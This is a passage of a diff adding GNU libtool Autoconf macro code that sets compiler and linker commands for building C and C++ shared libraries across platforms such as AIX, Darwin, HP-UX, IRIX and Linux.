_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)='-belf' + ;; + esac +fi +if test -n "$_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)"; then + AC_MSG_WARN([`$CC' requires `$_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)' to build shared libraries]) + if echo "$old_CC $old_CFLAGS " | grep "[[ ]]$_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)[[ ]]" >/dev/null; then : + else + AC_MSG_WARN([add `$_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)' to the CC or CFLAGS env variable and reconfigure]) + _LT_AC_TAGVAR(lt_cv_prog_cc_can_build_shared, $1)=no + fi +fi + + +# +# Check to make sure the static flag actually works. +# +AC_LIBTOOL_LINKER_OPTION([if $compiler static flag $_LT_AC_TAGVAR(lt_prog_compiler_static, $1) works], + _LT_AC_TAGVAR(lt_prog_compiler_static_works, $1), + $_LT_AC_TAGVAR(lt_prog_compiler_static, $1), + [], + [_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=]) + + +## CAVEAT EMPTOR: +## There is no encapsulation within the following macros, do not change +## the running order or otherwise move them around unless you know exactly +## what you are doing... +AC_LIBTOOL_PROG_COMPILER_NO_RTTI($1) +AC_LIBTOOL_PROG_COMPILER_PIC($1) +AC_LIBTOOL_PROG_CC_C_O($1) +AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1) +AC_LIBTOOL_PROG_LD_SHLIBS($1) +AC_LIBTOOL_SYS_DYNAMIC_LINKER($1) +AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1) +AC_LIBTOOL_SYS_LIB_STRIP +AC_LIBTOOL_DLOPEN_SELF($1) + +# Report which librarie types wil actually be built +AC_MSG_CHECKING([if libtool supports shared libraries]) +AC_MSG_RESULT([$can_build_shared]) + +AC_MSG_CHECKING([whether to build shared libraries]) +test "$can_build_shared" = "no" && enable_shared=no + +# On AIX, shared libraries and static libraries use the same namespace, and +# are all built from PIC. +case "$host_os" in +aix3*) + test "$enable_shared" = yes && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; + +aix4* | aix5*) + if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then + test "$enable_shared" = yes && enable_static=no + fi + ;; +esac +AC_MSG_RESULT([$enable_shared]) + +AC_MSG_CHECKING([whether to build static libraries]) +# Make sure either enable_shared or enable_static is yes. +test "$enable_shared" = yes || enable_static=yes +AC_MSG_RESULT([$enable_static]) + +AC_LIBTOOL_CONFIG($1) + +AC_LANG_POP +CC="$lt_save_CC" +])# AC_LIBTOOL_LANG_C_CONFIG + + +# AC_LIBTOOL_LANG_CXX_CONFIG +# -------------------------- +# Ensure that the configuration vars for the C compiler are +# suitably defined. Those variables are subsequently used by +# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'. +AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG], [_LT_AC_LANG_CXX_CONFIG(CXX)]) +AC_DEFUN([_LT_AC_LANG_CXX_CONFIG], +[AC_LANG_PUSH(C++) +AC_REQUIRE([AC_PROG_CXX]) +AC_REQUIRE([AC_PROG_CXXCPP]) + +_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no +_LT_AC_TAGVAR(allow_undefined_flag, $1)= +_LT_AC_TAGVAR(always_export_symbols, $1)=no +_LT_AC_TAGVAR(archive_expsym_cmds, $1)= +_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)= +_LT_AC_TAGVAR(hardcode_direct, $1)=no +_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)= +_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= +_LT_AC_TAGVAR(hardcode_libdir_separator, $1)= +_LT_AC_TAGVAR(hardcode_minus_L, $1)=no +_LT_AC_TAGVAR(hardcode_automatic, $1)=no +_LT_AC_TAGVAR(module_cmds, $1)= +_LT_AC_TAGVAR(module_expsym_cmds, $1)= +_LT_AC_TAGVAR(link_all_deplibs, $1)=unknown +_LT_AC_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds +_LT_AC_TAGVAR(no_undefined_flag, $1)= +_LT_AC_TAGVAR(whole_archive_flag_spec, $1)= +_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no + +# Dependencies to place before and after the object being linked: +_LT_AC_TAGVAR(predep_objects, $1)= +_LT_AC_TAGVAR(postdep_objects, $1)= +_LT_AC_TAGVAR(predeps, $1)= +_LT_AC_TAGVAR(postdeps, $1)= +_LT_AC_TAGVAR(compiler_lib_search_path, $1)= + +# Source file extension for C++ test sources. +ac_ext=cc + +# Object file extension for compiled C++ test sources. +objext=o +_LT_AC_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(int, char *[]) { return(0); }\n' + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. +_LT_AC_SYS_COMPILER + +# Allow CC to be a program name with arguments. +lt_save_CC=$CC +lt_save_LD=$LD +lt_save_GCC=$GCC +GCC=$GXX +lt_save_with_gnu_ld=$with_gnu_ld +lt_save_path_LD=$lt_cv_path_LD +if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then + lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx +else + unset lt_cv_prog_gnu_ld +fi +if test -n "${lt_cv_path_LDCXX+set}"; then + lt_cv_path_LD=$lt_cv_path_LDCXX +else + unset lt_cv_path_LD +fi +test -z "${LDCXX+set}" || LD=$LDCXX +CC=${CXX-"c++"} +compiler=$CC +_LT_AC_TAGVAR(compiler, $1)=$CC +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +# We don't want -fno-exception wen compiling C++ code, so set the +# no_builtin_flag separately +if test "$GXX" = yes; then + _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin' +else + _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)= +fi + +if test "$GXX" = yes; then + # Set up default GNU C++ configuration + + AC_PROG_LD + + # Check if GNU C++ uses GNU ld as the underlying linker, since the + # archiving commands below assume that GNU ld is being used. + if test "$with_gnu_ld" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' + + # If archive_cmds runs LD, not CC, wlarc should be empty + # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to + # investigate it a little bit more. (MM) + wlarc='${wl}' + + # ancient GNU ld didn't support --whole-archive et. al. + if eval "`$CC -print-prog-name=ld` --help 2>&1" | \ + grep 'no-whole-archive' > /dev/null; then + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)= + fi + else + with_gnu_ld=no + wlarc= + + # A generic and very simple default shared library creation + # command for GNU C++ for the case where it uses the native + # linker, instead of GNU ld. If possible, this setting should + # overridden to take advantage of the native linker features on + # the platform it is being used on. + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' + fi + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + +else + GXX=no + with_gnu_ld=no + wlarc= +fi + +# PORTME: fill in a description of your system's C++ link characteristics +AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries]) +_LT_AC_TAGVAR(ld_shlibs, $1)=yes +case $host_os in + aix3*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*) + for ld_flag in $LDFLAGS; do + case $ld_flag in + *-brtl*) + aix_use_runtimelinking=yes + break + ;; + esac + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + _LT_AC_TAGVAR(archive_cmds, $1)='' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':' + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + + if test "$GXX" = yes; then + case $host_os in aix4.[012]|aix4.[012].*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + else + # We have old collect2 + _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + _LT_AC_TAGVAR(allow_undefined_flag, $1)='-berok' + # Determine the default libpath from the value encoded in an empty executable. + _LT_AC_SYS_LIBPATH_AIX + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" + + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib' + _LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs" + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + _LT_AC_SYS_LIBPATH_AIX + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + # Exported symbols can be pulled into shared objects from archives + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=' ' + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes + # This is similar to how AIX traditionally builds it's shared libraries. + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + chorus*) + case $cc_basename in + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless, + # as there is no search path for DLLs. + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_AC_TAGVAR(always_export_symbols, $1)=no + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[[012]]) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[[012]]) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_automatic, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='' + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + + if test "$GXX" = yes ; then + lt_int_apple_cc_single_mod=no + output_verbose_link_cmd='echo' + if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then + lt_int_apple_cc_single_mod=yes + fi + if test "X$lt_int_apple_cc_single_mod" = Xyes ; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + fi + _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + if test "X$lt_int_apple_cc_single_mod" = Xyes ; then + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + fi + _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; + *) + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + fi + ;; + + dgux*) + case $cc_basename in + ec++) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + ghcx) + # Green Hills C++ Compiler + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + freebsd[12]*) + # C++ shared libraries reported to be fairly broken before switch to ELF + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + freebsd-elf*) + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + ;; + freebsd* | kfreebsd*-gnu) + # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF + # conventions + _LT_AC_TAGVAR(ld_shlibs, $1)=yes + ;; + gnu*) + ;; + hpux9*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, + # but as the default + # location of the library. + + case $cc_basename in + CC) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + aCC) + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "[-]L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + hpux10*|hpux11*) + if test $with_gnu_ld = no; then + case "$host_cpu" in + hppa*64*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + ia64*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + ;; + *) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + ;; + esac + fi + case "$host_cpu" in + hppa*64*) + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + ia64*) + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, + # but as the default + # location of the library. + ;; + *) + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, + # but as the default + # location of the library. + ;; + esac + + case $cc_basename in + CC) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + aCC) + case "$host_cpu" in + hppa*64*|ia64*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname -o $lib $linker_flags $libobjs $deplibs' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + esac + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes; then + if test $with_gnu_ld = no; then + case "$host_cpu" in + ia64*|hppa*64*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname -o $lib $linker_flags $libobjs $deplibs' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + esac + fi + else + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + irix5* | irix6*) + case $cc_basename in + CC) + # SGI C++ + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib' + + # Archives containing C++ object files must be created using + # "CC -ar", where "CC" is the IRIX C++ compiler. This is + # necessary to make sure instantiated templates are included + # in the archive. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -ar -WR,-u -o $oldlib $oldobjs' + ;; + *) + if test "$GXX" = yes; then + if test "$with_gnu_ld" = no; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $lib' + fi + fi + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + ;; + esac + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + linux*) + case $cc_basename in + KCC) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib' + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath,$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' + + # Archives containing C++ object files must be created using + # "CC -Bstatic", where "CC" is the KAI C++ compiler. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' + ;; + icpc) + # Intel C++ + with_gnu_ld=yes + # version 8.0 and above of icpc choke on multiply defined symbols + # if we add $predep_objects and $postdep_objects, however 7.1 and + # earlier do not add the objects themselves. + case `$CC -V 2>&1` in + *"Version 7."*) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + ;; + *) # Version 8.0 or newer + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + ;; + esac + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive$convenience ${wl}--no-whole-archive' + ;; + cxx) + # Compaq C++ + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols' + + runpath_var=LD_RUN_PATH + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and 